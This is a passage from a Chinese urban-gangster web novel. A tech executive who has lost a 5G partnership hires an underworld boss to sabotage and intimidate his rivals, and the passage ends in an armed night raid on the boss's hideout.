“尚未成熟?”司徒飞压着后槽牙说道:“米勒先生,我们进行了长达半年的技术对接,商务条款已经谈判到最后一轮,甚至连签约仪式都准备好了,您现在告诉我,条件‘尚未成熟’?”
他的声音已经表达出了不满的情绪。
米勒的表情没有任何变化:“商业决策需要基于充分的数据和风险评估,司徒先生,三天前那场……不愉快的经历,也让我们重新审视了合作伙伴的选择标准,一个连最基本的商务安全和接待安排都会出现严重纰漏的公司,我们不得不谨慎。”
这话像一记耳光,狠狠扇在司徒飞脸上。
三天前,“云顶会所”事件,治安署临检。
米勒团队在治安所待了两个小时,这些事,虽然被压下去了,但显然已经传到了诺德公司总部。
“那是个意外!”司徒飞猛地站起来,双手撑在桌面上道:“是有人故意陷害!我们已经在调查了!”
“调查需要时间。”米勒也站起身,他的身高和司徒飞差不多,但那种冷静自持的气场,让此刻情绪失控的司徒飞显得格外狼狈道:“而诺德公司的5G战略,不能再等了。”
“那你们想怎么样?”司徒飞几乎是在低吼道:“取消合作?去找别人?找谁?司徒晴那个**?”
这话一出口,飞越科技团队所有人的脸色都变了,刘振东下意识地想要拉住司徒飞,但已经晚了。
米勒的眼睛微微眯起,他身后的艾玛和詹姆斯也皱起了眉头。
“司徒先生!”米勒的声音冷了下来道:“请注意您的措辞,司徒晴小姐是‘晴空科技’的创始人,我们在离开中国前,确实参观了她的公司,也听取了她的技术方案,我必须承认,在射频前端这个细分领域,她的方案确实有其独到之处。”
“所以你们要和她签约?”司徒飞的声音在颤抖,是愤怒,也是恐慌。
“不。”米勒说,“我们不会在这么短的时间内做决定,诺德公司的决定是对飞越科技和晴空科技,同时进行为期三个月的深度技术考察,三个月后,基于双方的最终技术方案和商业化能力,再决定合作伙伴。”
同步考察,三个月。
这意味着什么,会议室里每个人都清楚。
这意味着飞越科技不再有独家谈判权,这意味着司徒晴的公司正式被纳入了诺德公司的视野,这意味着接下来的三个月,两家公司将进行一场残酷的技术竞赛。
而最重要的是这意味着司徒飞这半年来的所有努力,全部付诸东流。
“三个月……”司徒飞重复着这三个字,忽然笑了。
“米勒先生,您知道三个月在5G赛道意味着什么吗?意味着至少一代技术的差距!意味着市场份额的重新洗牌!您这是在玩火!”
“商业就是冒险,司徒先生。”米勒不为所动,“我们选择风险最小、回报最大的路径,三个月后,我们会做出最理性的决定。”
他拿起桌上的公文包,对身后的团队做了个手势:“那么,我们就此告辞,下午的飞机回伦敦,后续的技术对接安排,我们的技术团队会和贵公司联系。”
“等等!”司徒飞猛地绕过长桌,挡住米勒的去路,“米勒先生,我们可以再谈谈条件,价格?分成比例?甚至是技术转让?只要您提出来,我们都可以商量!”
这是近乎哀求的姿态了,一个市值数百亿的上市公司董事长,在一个外国公
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司代表面前,低下了头。
但米勒只是摇摇头:“司徒先生,这不是价格问题,是技术问题,也是信任问题,三个月,这是我们能给的最大宽限,请好好准备。”
他绕过司徒飞,走向会议室门口。
诺德公司的团队紧跟其后。
走到门口时,米勒停住脚步,回头看了司徒飞一眼:“顺便说一句,司徒晴小姐让我转告您,技术竞争,应该用技术说话。她期待三个月后,和您来一场公平的较量。”
说完,他推门离开。
会议室里只剩下飞越科技的人,还有一片死寂。
司徒飞站在原地,背对着所有人。
他慢慢转过身。那张平时总是挂着自信微笑的脸,此刻扭曲得可怕。眼睛布满血丝,嘴唇抿成一条惨白的直线,额角的青筋突突跳动。
“滚。”他说,声音嘶哑,“都给我滚出去。”
刘振东、周明、张莉……所有人如蒙大赦,迅速收拾东西离开会议室。最后一个离开的法务顾问轻轻带上了门。
门关上的瞬间,司徒飞猛地抓起桌上的水晶烟灰缸,狠狠砸向对面的墙壁。
“砰——哗啦!”
烟灰缸在墙上炸裂,水晶碎片四溅。紧接着是第二个、第三个——水杯、文件夹、笔记本电脑……所有能砸的东西,都被他疯狂地摔向墙壁。
“陈凡!司徒晴!你们这两个杂种!”他嘶吼着,声音在空旷的会议室里回荡,“我要杀了你们!我一定要杀了你们!”
整整十分钟的疯狂发泄后,会议室已经一片狼藉。
司徒飞站在废墟中央,胸口剧烈起伏,西装外套敞开,领带歪斜,头发散乱。他的手上被碎片划出了几道口子,鲜血顺着手指滴落在地毯上,但他浑然不觉。
喘了很久,他慢慢冷静下来。
暴怒解决不了问题。砸东西也改变不了现实。
诺德公司给了三个月。这意味着他还有时间。意味着他还有机会翻盘。
但常规手段已经不管用了。技术竞争?司徒晴那个**本来就是技术天才,现在又有陈凡在背后支持,三个月的时间,飞越科技未必能赢。
那就只能用非常手段了。
司徒飞走到窗边,看着楼下渺小的车流和行人。这座城市依旧繁华,依旧冷漠。在这个高度,人就像蚂蚁一样微不足道。
他拿出手机,拨通了一个号码。
电话响了很久才被接起。那头传来一个苍老但中气十足的声音,带着浓重的上城本地口音:“小飞?难得啊,怎么想起给三爷打电话了?”
208请三爷出山!
“三爷,”司徒飞的声音已经恢复了平静,道:“三爷,求您帮忙!”
龙三爷沉默了几秒,笑着说道:“什么事值得你司徒总裁说求这个字?”
“我想请您帮我处理两个人。”
“什么人?”龙三爷问道。
“一男一女,男的叫陈凡,女的叫司徒晴。”
“司徒晴?”龙三爷有些诧异道:“你亲侄女?”
龙三爷故意将亲这个字说的重了一些,也算是一种确认。
“她已经不是我侄女了。”司徒飞的声音冰冷道:“她是叛徒,是敌人,三爷,只要您能帮我解决他们,什么条件我都答应。”
龙三爷笑了:“小飞啊,你爸当年跟我混的时候,可没你这么狠,连自家亲人都要动?”
“是她先动的我。”司徒飞说道:“她抢了我的项目,挖我的人,现在还要抢我的合作伙伴,三爷,您说,这种人该不该动?”
“该,当然该。”龙三爷慢悠悠地说:“不过陈凡这个人我听说过,最近在上城闹得挺大,连司徒飞你都敢惹,有点意思。”
“所以我才需要三爷出手。”司徒飞说:“普通人动不了他。”
“动是动的了。”龙三爷说道:“但代价不小,你知道规矩的。”
“我知道。”司徒飞毫不犹豫道:“五千万,先付一半,事成后付另一半,另外,城南那块地,我也可以让给您。”
这个条件开得很高,城南那块地价值至少三个亿,是司徒飞准备了很久要开发的项目。
龙三爷笑了几声,显然他是心动了,他说道:“一周,给我一周时间,我给你结果,活要见人,死要见尸。”
“谢谢三爷。”
“别谢太早。”龙三爷的声音沉下来,道:“小飞,我丑话说在前头,这事做完,你我之间就两清了。以后你再惹出什么麻烦,别再来找我,我老了,想过几天安生日子。”
“我明白。”
“还有,你那个侄女毕竟是司徒家的人。你真想好了?”
司徒飞后悔了,后悔当初就没把司徒晴踩死,给了她可乘之机。
“行。”龙三爷不再多问道:“钱打到老账户,等消息吧。”
电话挂断。
司徒飞握着手机,站在落地窗前,他忽然拨通了我的手机号。
“司徒飞?”我有些诧异道。
“听说你今很得意?米勒去看了司徒晴的公司,还说要同步考察三个月?”
“消息很灵通嘛。怎么,司徒总这是打电话来恭喜我?”我冷笑道。
“我打电话来,是想告诉你一件事。”司徒飞一字一句的说:”“陈凡,你玩过头了,你以为用那种下三滥的手段,就能赢我?你以为有司徒晴那个**帮你,就能在上城站稳脚跟?”
“那司徒总觉得,我该怎么赢你?”我不以为意问。
“你赢不了。”司徒飞的声音里带着狠毒道:“因为你根本不知道,你惹到的是什么人,陈凡,我最后给你一次机会,带着司徒晴滚出上城,永远别再回来。否则……”
“否则怎样?”我冷笑的问。
“否则,你和你在乎的所有人,都会后悔来到这个世界上。”
“司徒飞,有很多人也跟我说过类似的话,冯家的人说过,秦家的人说过,你猜他们现在怎么样了?”
司徒飞的脸色铁青。
“他们都没什么好下场,所以司徒飞,我也送你一句话,有什么招,尽管使出来,我陈凡,奉陪到底。”
电话挂断了。
忙音在耳边回响。
司徒飞缓缓放下手机,他走回办公桌前,他拨通了内线。
“通知所有高管,一小时后开紧急会议。”
“准备公司未来三个月的‘战时状态’运营方案。”
“通知技术部,所有研发项目进度提速百分之三十。”
“通知市场部,准备应对媒体关于诺德公司推迟签约的报道。”
“通知法务部,开始全面审查与司徒晴项目相关的所有专利文件,找到可以诉讼的漏洞。”
……
东城,老城区。
一条叫做青石巷的老街,巷子很窄,墙壁斑驳。
但巷子深处,有一栋不起眼的三层小楼,门口永远听着一辆黑色的老式奔驰车,这就是龙三爷的书房,也是他处理生意的地方。
龙三爷,今年六十八岁,三十年前,他是东城码头区说一不二的话事人,手底下养着几百号兄弟,控制着当时东城一半的水路货运,后来时代变了,他洗手上岸,做起了正经生意,房地产、物流、酒店,表面上是个成功的民营企业家。
但东城地下世界的人都知道,龙三爷的“正经生意”下面,藏着一个庞大的灰色帝国。他手下有一批专门处理“脏活”的人,这些人不在他公司的名册
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上,但只听他一个人的命令。
“阿忠,喝茶。”
龙三爷说话间,将一杯茶递给了手下阿忠,他端起茶杯,轻轻吹了口,然后抿了一口。
“两个人。”龙三爷说:“一个叫陈凡,一个叫司徒晴。”
阿忠的眉头皱了起来:“陈凡?最近在上城闹得挺大的那个?我听说他手段很硬,连司徒飞都在他手里吃了亏。”
“所以才找上我。”龙三爷放下茶杯,道:“年轻人,不知天高地厚,以为有点本事就能在上城横着走,是该教训教训。”
“那司徒晴呢?那可是他亲侄女啊?”
“血缘上是。”龙三爷说,“但听司徒飞的语气,她俩的仇结得够深的,为了一个5G项目,连自家人都要动,司徒飞这小子,比他爹狠多了。”
阿忠没说话,他跟了龙三爷三十年,见过太多为了利益兄弟反目、父子成仇的事。
亲情?在足够的利益面前,什么都不是。
“阿忠。”龙三爷忽然说道:“你觉得,这个陈凡,是个什么样的人?”
阿忠想了想道:“听说他身手很好,做事狠,但讲规矩,不对普通人下手,不碰不该碰的东西,在道上,名声不算坏。”
“那就是个有底线的狠人。”龙三爷点点头道:“这种人最难对付,因为有底线,所以不容易犯错,但也有弱点,那就是太重情义。”
“查一下,”龙三爷说,“陈凡在上城,有哪些在乎的人。父母?亲戚?朋友?特别是……女人。”
阿忠立刻明白:“您是想……”
“先礼后兵,能不动手就不动手,但如果非要动手就要打他最疼的地方。”
“明白了,我这就去查。”
“等等。”龙三爷叫住他:“还有那个司徒晴,她也查一下,在哪儿住,在哪儿上班,平时走哪条路,有什么习惯。”
“是。”
阿忠退出书房,龙三爷重新坐回太师椅,端起已经凉了的茶,慢慢的喝。
他想起三十年前的自己,也是像陈凡这样,年轻气盛,以为拳头硬就能打出一片天,后来他明白了,在这个世界上,最硬的东西不是拳头,是人心,最锋利的武器也不是刀枪,是算计。
司徒飞以为用钱和地就能买他的刀,去砍他的敌人。
但龙三爷这把刀,砍谁,怎么砍,什么时候砍,从来只由他自己决定!
209为了孩子和老婆!
同一时间,静水山庄。
我坐在书桌前,面前摆放着一叠书面材料,这是司徒晴送来的“晴空科技”最新技术进展报告。
这里还有柳媚笙整理的上城各势力的动向分析,还有周明偷偷传来的飞越科技内部会议纪要。
三个月的同步考察期,听起来时间充裕,但实际上,每一步都不能错。
司徒晴那边进展顺利,她挖来的第一批技术人员已经到位,实验室设备调试完成,第一版射频前端样片的设计已经进入收尾阶段。
按照她的估算,两个月内可以完成第一轮测试,三个月时,能拿出足够和飞越科技竞争的产品。
但问题在于,司徒飞不会给她三个月时间。
我放下钢笔,思考着司徒飞下午打来的那个电话,他表面上是威胁,实际上是宣告,他告诉我,他已经决定掀桌子了,不在按照商业规则来玩。
忽然,我桌子上的手机振动起来,是柳媚笙打来的。
“陈凡,有个不好的消息。”她的声音很严肃,“司徒飞今天下午,联系了龙三爷。”
我的心沉了一下,龙三爷这个名字,在江湖上的分量,我很清楚。
“具体内容?”我问道。
“还不清楚,但司徒飞的人在半小时前,往龙三爷的一个境外账户转了两千五百万,另外,城南那块地,飞越科技刚刚撤回了开发申请。”
两千五百万,城南那块地。
这个价码,足够买很多条人命了。
“陈凡。”柳媚笙的声音里带着担忧,“龙三爷那个人,和我们以前对付的那些人不一样,他是真正的**湖,做事没有底线,而且他在东城的根基太深了。”
“我知道。”我说,“但兵来将挡,你那边继续盯着,有任何动静,立刻告诉我。”
“你自己小心。”柳媚笙顿了顿,道:“还有夏颜那边……要不要换个更隐蔽的地方?”
“暂时不用。”我说,“静水山庄的安保系统已经很完善了,而且,司徒飞如果真的要对夏颜下手,换到哪里都一样。”
挂断电话,我靠在椅背上,闭上眼睛。
现在,司徒飞把龙三爷请出来了。
这不是商业竞争,这是生存战争。
手机又响了,这次是司徒晴,我知道,她这个时间给我打电话,肯定是有事情找我。
“陈凡,出事了。”她的声音很急,“我们实验室的一个核心工程师,刚才在回家的路上,被人打了。”
我的眼神瞬间冷了下来:“人怎么样?”
“伤得不重,皮外伤,但对方留了句话,‘三天内离开晴空科技,否则下次就不是打一顿这么简单了’。”
“报警了吗?”我问道。
“报了。但警察来了也就是做个笔录,说会调查,但……”司徒晴的声音里带着愤怒和无奈,“陈凡,这是司徒飞干的,对不对?”
“十有**。”我说,“他这是在试探,也是在警告。你那边加强安保,所有核心技术人员,上下班安排人接送。实验室那边,也加派人手。”
“我知道了。”司徒晴深吸一口气,“但这样下去不是办法。我们的人心会散的。”
“给我三天时间。”我说,“三天内,我会让司徒飞知道,动我的人,要付出什么代价。”
挂断司徒晴的电话,我拨通了另一个号码。
“吴哥。”我说道。
“陈凡?”电话那头是老吴的声音问道:“这么晚了,有事?”
“想请您帮个忙。”我说道:“查一下龙三爷最近的动作,特别是,他手下有哪些人最近在活跃。”
老吴沉默了几秒:“你惹上龙三了?”
“是他惹上我了。”我说道:“他已经开始调查我,我估计他想对我动手了。”
“那你要小心。”老吴的声音很严肃道:“龙三那个人,我打过交道,心黑,手狠,而且做事不留痕迹,三十年前,他为了抢码头,一夜之间让三家人‘意外身亡’,治安署查了三个月,什么证据都没找到。”
“我知道。”我说道:“所以才需要您帮忙,我不需要证据,只需要知道,他打算怎么动手,什么时候动手。”
“我试试。”老吴说:“但龙三很谨慎,他的核心圈子里,我的人进不去。”
“外围的动静也行。”我说道:“任何异常,都告诉我。”<
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br>“好,你自己呢?要不要我派几个人过去?”
“暂时不用。”我说,“我这边还能应付。”
挂断电话,我走到窗前。
窗外是静水山庄的后山,黑黢黢的一片,只有月光勾勒出山峦的轮廓,院子里,安保人员在巡逻,手电筒的光柱在黑暗中扫过。
夏颜已经睡了,她不知道外面发生了什么,也不知道即将到来的是什么,这样也好,怀孕期间,情绪稳定最重要。
但我知道,平静的日子,恐怕不多了。
司徒飞请出了龙三爷,这意味着他已经彻底撕破脸。接下来,不再是商业上的勾心斗角,而是真正你死我活的较量。
而我必须赢。
为了夏颜,为了孩子,为了所有跟着我的人。
手机屏幕又亮了起来,这次是一条加密短信,来自一个陌生的号码。
短信只有一行字:“龙三的人在查你在乎的人。小心。”
没有署名,但我知道是谁,周明。
我删掉短信,走回书桌前,打开电脑。
既然游戏升级了,那我的应对也要升级。
龙三爷想玩阴的?好啊。
那就看看,到底是谁,会笑到最后。
我调出一份加密文件,这是周叶青给我的特殊资源,现在是时候动用他们了。
我输入一长串复杂的密码,文件解锁。里面是一个名单,以及对应的联系方式。
我选中了其中一个名字,拨通了电话。
电话响了五声,被接起。那头没有声音,只有轻微的呼吸声。
“是我。”我说,“需要帮忙。”
那头沉默了三秒,然后传来一个低沉的声音:“位置。目标。时间。”
“东城,龙三,尽快!”
“明白了,三天内给你答复。”
电话那头的男人,给了我一个答复后,就急匆匆的挂断电话。
他们都是周叶青给我的特殊资源,如果不到万不得已,是不可以启用的,如果一旦用了,那就是必死不可!
对付龙三,会不会赢我不知道,毕竟他是个**湖了!
可我现在必须主动出击!
因为我不会坐以待毙!
210部署计划围剿陈凡!
东城。
一栋三层小楼里,烟雾缭绕。
龙三爷坐在主位,手里把玩着一串油光发亮的沉香木佛珠,他依旧穿着一身深灰色的中山装,坐在那里,眼睛微微眯着,眼神里却藏着混迹几十年江湖的的智慧与狠辣。
“钱都收到了吧。”龙三爷缓缓开口道:“司徒家这次很大方,八位数,预付一半,剩下的一半,等事成之后再付。”
坐在右侧首位的军师吴老推了推金丝眼镜,他是龙三爷的智囊,六十出头,原是某高校的经济学教授,二十年前因故离开学界,然后就成了龙三爷的左膀右臂。
“三爷。”吴老翻开面前的文件夹,道:“陈凡这个人,我们分析了两天,他不好对付。”
“说说看。”龙三爷闭着眼,继续盘着佛珠。
“从明面上看,陈凡的弱点不多。”吴老调出一份资料投影在墙上,道:“凡颜资本在深城根基稳固,资金链健康,有夏家和几家风投支持,他个人生活规律,不赌不毒,身边有专业的安保团队。”
龙三爷微微眯着眼睛问道:“没有弱点?我还真不相信,人会没有弱点的。”
“有,但藏得深。”吴老切换投影,道:“第一个弱点,是他身边的人,夏颜,柳媚笙,林薇儿,还有最近出现的司徒晴,特别是司徒晴,她现在公开和司徒飞打擂台,是陈凡在上城布局的关键棋子。”
“第二个弱点。”吴老继续道:“是他的扩张速度太快,他竟然用了短短一个月的时间扶持晴空科技,还要应付司徒飞的打压。战线拉得太长,资源必然分散。”
“第三个弱点。”吴老顿了顿,道:“是他太自信。从吞并冯家开始,他一路顺风顺水,没吃过真正的败仗。这种人,往往会在最关键的时候,低估对手的狠辣。”
龙三爷点点头,算是一种认可道:“继续。”
吴老切换到最后一份文件:“我们设计了一个三线并进的计划,目标不是一击致命,而是层层缠绕,让他每一步都走得艰难,最终在疲于应付中露出破绽。”
“首先从商业入手。”吴老指向投影上的关系图带:“陈凡在上城的核心是‘晴空科技’,这家公司刚刚起步,团队供应链客户都还在搭建中,我们的策略是,在他站稳脚跟之前,切断他的所有补给线。”
负责执行这条线的是坐在左侧的赵虎,他四十出头,光头,脖子上纹着青龙,是龙三爷手下专门处理“商业事务”的负责人。
“三爷,吴老。”赵虎粗声粗气地说“”“我已经安排好了,晴空科技需要的第一批射频芯片,供货商是深圳的华芯微电子,这家公司的老板欠我们赌场三百多万,我昨天已经提醒过他,他会以产能不足为由,延迟交货至少两个月。”
“两个月?”吴老推了推眼镜,“司徒晴的团队等不了那么久。”
“这只是第一步。”赵虎咧嘴一笑:“我还联系了晴空科技三家备选供应商,巧的是,他们都和司徒家有长期合作,司徒飞已经打过招呼,不会给晴空科技供货。”
龙三爷微微颔首:“供应链解决了,客户呢?”
“客户这边更简单。”赵虎打开另一份名单说:“晴空科技目前接触的七家潜在客户,我已经派人接触过,三家收了我们的咨询费,答应暂缓合作,另外四家,我们安排了一些质量问题的谣言,他们现在都在观望。”
吴老补充道:“除了直接打击,我们还要在**上造,我已经联系了三家财经自媒体,下周开始会推出一系列分析文章,虽然不点名,但业内人士都看得懂在说谁。”
龙三爷盘佛珠的速度慢了下来:“这些手段,司徒飞也能做,为什么需要我们?”
“因为我们可以做得更绝。”吴老切换投影,“接下来是第二点。”
吴老切换了大屏幕,投影仪上出现了一张地图,这张地图标注着我的活动路线。
负责这条线的是黑豹,他三十五六岁,精壮干练,曾在某特种部队服役,现在是龙三爷安保团队的实际负责人,也处理一些“特殊事务”。
“陈凡的安保很专业。”黑豹声音平静道:“他的保镖队长叫周大伟,退役军人,警觉性很高,常规的跟踪监视容易被发现,所以我们要用非常规手段。”
他指着地图上的几个点:“四季酒店、写字楼、净水山庄,这是他最常去的三个地方,我们已经在这三个点周围布下了眼线,不是跟踪他本人,而是监控出入这些地方的所有车辆和人员。”
“有什么用?”龙三爷问。
“建立行为模型。”黑豹调出一份报告,道:“通过监控,我们已经掌握了陈凡团队二十三名核心成员的出入规律、用车习惯、甚至常去的餐厅和咖啡馆。下一步,我们会针对这些成员进行‘接触’。”
“接触?”
“是
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的。”黑豹面无表情地说,“比如,‘晴空科技’的技术总监王工,他每周二晚上会去一家精酿酒吧,独坐一小时,我们会安排一个‘恰好’也喜欢精酿的漂亮姑娘坐在他旁边,聊聊天,加个微信。不需要套取什么机密,只需要建立联系。”
“再比如,陈凡的司机小周,他母亲有慢性病,每月需要一笔固定的医药费,我们会通过一个‘慈善基金会’,给他母亲提供医疗援助。”
龙三爷皱眉:“这些软刀子,有用吗?”
“三爷,蚂蚁多了能咬死象。”黑豹说,“当陈凡发现,他团队的核心成员一个个都和我们有‘关联’时,他会怎么想?他还敢完全信任谁?内部猜疑一旦产生,团队的战斗力至少减半。”
吴老推了推眼镜:“这只是心理层面。实际操作上,我们还需要一些‘意外事件’。”
黑豹点头:“已经安排了三个‘意外’。第一,陈凡的车会在某次出行时‘恰好’爆胎,维修点是我们的人。第二,他常去的餐厅会‘偶然’发生煤气泄漏,需要停业整顿三天。第三,四季酒店会‘临时’检修他所在楼层的消防系统,需要他换房间。”
“这些小事,能影响他?”龙三爷问。
“积少成多。”黑豹说,“更重要的是,这些‘意外’会让他意识到,在上城,他并不安全。心理压力会慢慢累积,决策就容易出错。”
龙三爷沉默片刻,手中的佛珠转了一轮:“第三线呢?”
吴老切换投影,屏幕上出现了几张照片:柳媚笙、林薇儿、司徒晴,还有夏颜。
“这是陈凡身边最重要的四个女人。”吴老说,“她们之间的关系,并不像表面那么和谐。”
“柳媚笙和林薇儿是姐妹情深,但柳媚笙对司徒晴有戒心,认为这个突然出现的司徒家女人会分走陈凡的资源和注意力。而司徒晴,心高气傲,对柳媚笙的江湖背景未必看得上。至于夏颜,远在深城,怀孕在身,对陈凡在上城的活动既担心又无力干预。”
负责这条线的是一位穿着旗袍的中年女人,大家都叫她兰姐。她经营着上城最高端的私人会所,手里掌握着无数达官显贵的秘密。
“三爷,”兰姐声音温柔,却透着冷意:“女人之间的事情,男人往往看不懂,一点小误会,几句流言,就能让坚固的关系产生裂痕。”
兰姐说着,翻开了手里的资料……
211刺杀龙三爷!
兰姐抬起头,看了看众人,然后继续说道:“我们准备从三个方向入手!”
“第一,针对柳媚笙,她在海城的酒吧生意很好,但夜场生意,最怕的就是麻烦。我已经安排了几批人,下周开始会轮流去迷醉消费,然后不小心在酒里发现一些不该有的东西。报警、投诉、媒体曝光,我可以肯定的是不出一个月,这家店就得停业整顿。”
“第二,针对司徒晴。”兰姐继续说:“她最大的软肋是家族,司徒家虽然现在支持司徒飞,但内部还有不少老人对她抱有同情,我们会通过一些渠道,让司徒家的长辈们知道,司徒晴现在和陈凡绑定在一起对付司徒飞,这些话传到司徒家族人的耳朵里,他们会作何感想?”
龙三爷若有所思:“你刚才说的这两点,行动必须要快,司徒飞等不了一周,那林薇儿和夏颜呢?”
“林薇儿是公众人物,最好对付。”兰姐微笑道:“我已经联系了两家娱乐媒体,下周会爆出她‘疑似介入他人感情’的绯闻,虽然照片和聊天记录都是合成的,但足够以假乱真,她的经纪公司会焦头烂额,她本人也会承受巨大压力。”
“至于夏颜……”兰姐顿了顿道:“她怀孕了,这是最脆弱的时候,我们不需要直接对她做什么,只需要让她知道陈凡现在的危险处境,她作为一个担心丈夫的孕妇,会做出什么反应?她还能安心的养胎了么?”
会议室里陷入短暂的沉默,不是因为他们不同意,而是觉得,这三个计划,有点太损了。
不过既然都收了司徒飞的钱了,就得给司徒飞办事。
吴老推了推眼镜,总结道:“三线并进,互相配合,商业绞杀让他事业受阻,地下施压让他身心俱疲,人心离间让他后院失火,不需要我们直接动手,他自己就会在重压之下犯错,而一旦他犯错……”
龙三爷手中的佛珠停了。
“一旦他犯错。”龙三爷缓缓睁开眼,冷冷的说道:“就是我们收网的时候。”
龙三爷和手下的这些人,在小楼里开了整整两个小时的会,他们把每个细节都反复推敲,计划精确到每一天,所有人员的调动执行,甚至就连备用方案都做出来了。
散会时,龙三爷喊住了吴老。
“老吴。”龙三爷走到窗边,看着外面老城厢破旧的街景,道:“你说,陈凡能撑多久?”
吴老站在他身后,想了想道:“如果只有司徒飞,他能赢,但加上我们的话,一个月,他要么退出上城,要么倒下。”
“一个月。”龙三爷重复着这个时间,嘴角泛起一丝难以察觉的弧度,道:“司徒飞答应事成之后付款另一半钱,你盯紧点,另外,告诉下面的人,做事要干净,不要留下把柄,陈凡不是普通人,他的反击会比我们想象的更狠。”
“明白。”吴老点了点头。
吴老离开后,龙三爷独自站在窗前。夕阳的余晖透过斑驳的玻璃窗,在他脸上投下明暗交错的光影。
他想起三十年前,自己还只是个在老城厢收保护费的小混混,那时候,他也面对过一个看似不可战胜的对手,他用的方法,和今天对付陈凡的方法如出一辙,那就是不断施压,寻找破绽,一击致命。
三十年过去了,江湖还是那个江湖,只是对手换成了更年轻、更聪明的人,可江湖的规则,从来没有改变过,弱肉强食,成王败寇。
龙三爷从口袋里掏出手机,拨通了一个司徒飞的电话号。
“司徒飞。”他对着话筒说道:“计划开始了,让你的人配合好,特别是供应链和客户那边,不要露出马脚。”
电话那头传来司徒飞的声音:“三爷放心,只要陈凡倒下,剩下的钱一分不会少,另外,‘晴空科技’垮掉之后,司徒晴那女人,我希望她能‘意外’消失。”
龙三爷眼神一冷道:“我们只谈生意,不谈人命,这是规矩。”
“呵呵,三爷什么时候这么讲规矩了?”
“我的规矩。”龙三爷挂断电话。
……
凌晨三点,东城街道上空无一人。
只有昏黄的路灯在闪着微弱的光,龙三爷的三层小楼静静的立在夜幕之中,只有三楼的一扇窗户还亮着灯,窗帘拉的很严实。
然而,在小楼对面的五十米处,一栋即将拆迁的旧楼里,趴着两个人,代号钉子和狼王。
狼王身着全黑的作战服,他带着黑色的头套,只有眼睛露在外面,他的眼睛贴着夜视望远镜上面,他已经在这里趴了四个小时,一动不动,呼吸几乎听不见。
“目标确认,三楼会议室,窗内有两人。”
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他对着喉麦低声说。
耳机里传来回应道:“收到,清扫组已就位,电工准备完毕。”
狼王身边趴着的是个年轻人,代号钉子,他是一名狙击手,他面前的是一支拆解后伪装成水管维修工具的**,此刻已经组装完毕,枪口对着对面三楼那扇亮灯的窗户,枪身上覆盖着迷彩布,完美融入夜色。
“风向东南,风速每秒两米,湿度78%,距离五十二米。”钉子轻声报出参数,道:“视线良好,无遮挡。”
狼王没有回应,继续观察。
就在几个小时前,他收到了陈凡的命令,目标是龙三爷。
狼王这个团队,是周叶青介绍给陈凡的。
周家不方便出面的事情,陈凡可以出面,这就是周叶青找到陈凡的真实目的。
凌晨三点二十分,三楼会议室的灯还亮着。
龙三爷坐在主位上,面前摊开着十几份报告,吴老坐在他对面,眼镜片反射着台灯的光。
“柳媚笙那边的麻烦已经安排好了,”吴老翻着日程表,说道:“第一批人明天晚上就会去酒吧。酒里会放些助兴的东西,不多,刚好够被检测出来,报警电话也已经准备好,辖区治安所的副所长是我们的人,接到报警会立刻出警。”
龙三爷闭着眼,手指在报告上轻轻敲着:“陈凡那边有什么反应?”
“暂时没有。”吴老推了推眼镜,“他今天见了两个投资人,谈了三个小时,晚上回酒店后没再出门,不过我们的眼线报告,他的保镖队长周大伟今天下午离开酒店后就没再回来。”
龙三爷的眼睛睁开:“去哪儿了?”
“还在查。但应该不是什么大事,可能是去处理些私事。”
龙三爷沉默了一会儿,那种久经江湖的直觉让他隐隐有些不安。太顺利了。陈凡那边**静了,安静得反常。
“告诉下面的人,这两天都小心点。”龙三爷说,“陈凡不是坐以待毙的人。他一定在准备什么。”
“明白。”吴老合上文件夹,“三爷,时间不早了,您该休息了。明天上午还约了司徒飞的人谈细节。”
龙三爷看了看墙上的老式挂钟,凌晨三点二十五分。他点点头,站起身,活动了一下僵硬的肩膀。
就在这时,整栋楼的灯突然熄灭了。
212变天了!
龙三爷神经瞬间紧绷起来!
小楼里的电路,他熟悉的不得了,这种跳闸不是瞬间黑暗,而是有层次的一层一层的熄灭!
龙三爷混迹江湖多年,当然知道这意味着什么!
“怎么回事?”吴老的声音在黑暗中响起。
龙三爷没说话,手已经摸向腰间,那里别着一把上了膛的**19。
楼下传来急促的脚步声,是保安在移动,接着是对讲机里压低的呼叫声:“一楼断电,备用电源没启动!正在检查电箱!”
“二楼的也断了!电闸被人拉了!”
“后门安全!”
“前门安全!”
保安的汇报声在对讲机里此起彼伏。
龙三爷听着,眉头越皱越紧,这里断电不奇怪,老城区的电路老化,偶尔会跳闸,但备用电源没启动,这就可疑了。
“三爷,我们先离开会议室。”吴老站起来,声音有些紧张。
龙三爷点点头,两人摸黑向门口移动,门是厚重的实木门,从里面反锁着,龙三爷握住门把手,正要拧开的时候!
“砰!”
一声沉闷的撞击声从门外传来,像是有什么重物倒地的声音,紧接着是人体滑倒的声音,还有压抑的、嗬嗬的喘息声。
“是外面的保镖倒了!”
龙三爷立刻反应了过来,他霎那间后退,同时拔出了枪,吴老也意识到部队,慌忙躲到桌子下面。
龙三爷背靠着墙壁,枪口对准门口,呼吸放得很轻。黑暗中,他能听到自己的心跳声,咚,咚,咚,像擂鼓一样。
门外,脚步声响起,然后,门锁处传来轻微的咔嗒声。
不是钥匙,是**。
龙三爷的瞳孔收缩,他不再犹豫,对着门锁的位置连开三枪!
“砰砰砰!”
门锁被打烂了,但门依然紧闭,外面的人用什么东西卡住了门。
犹豫开枪暴露了位置,龙三爷立刻向侧面翻滚,几乎同时,三发**穿透木门打在他刚才站立的位置。
对方使用的是带有**的枪。
龙三爷滚到会议桌后面,屏住呼吸。黑暗中,他看不到对方,对方也看不到他。但对方显然受过专业训练,开枪后立刻移动了位置,现在不知道在哪里。
“吴老,”龙三爷压低声音道:“桌子底下有暗格,打开它,里面有警报按钮。”
会议桌下的吴老颤抖着手,摸索着桌底的木板。找到了,一个隐蔽的凹槽,里面有个红色按钮。他用力按下去。
什么反应都没有。
警报系统也被切断了。
冷汗从吴老的额头滑落,他意识到,这不是偶然的断电,这是一次精心策划的袭击。有人摸清了这栋楼的每一个细节,包括备用电源的位置、警报线路的走向、守卫的布防规律。
就在这时,会议室窗户的方向传来轻微的声响。
龙三爷猛地转头,看到窗户被从外面打开了。不是打破,是打开窗锁被人用工具从外面撬开了。
一个人影悄无声息地翻进窗户,落地时几乎没有声音。那人穿着全黑的战术服,脸上戴着夜视仪,手里端着一把短管**。
龙三爷抬手就要开枪,但对方比他更快。
“噗噗噗。”
三发点射,**精准地打在他**的手腕上,剧痛传来,**脱手飞出,撞在墙上,然后滑到角落里。
龙三爷闷哼一声,捂住流血的手腕,靠在墙上,他知道完了,对方不是来**或谈判的,是来**的,而且是非常专业的**。
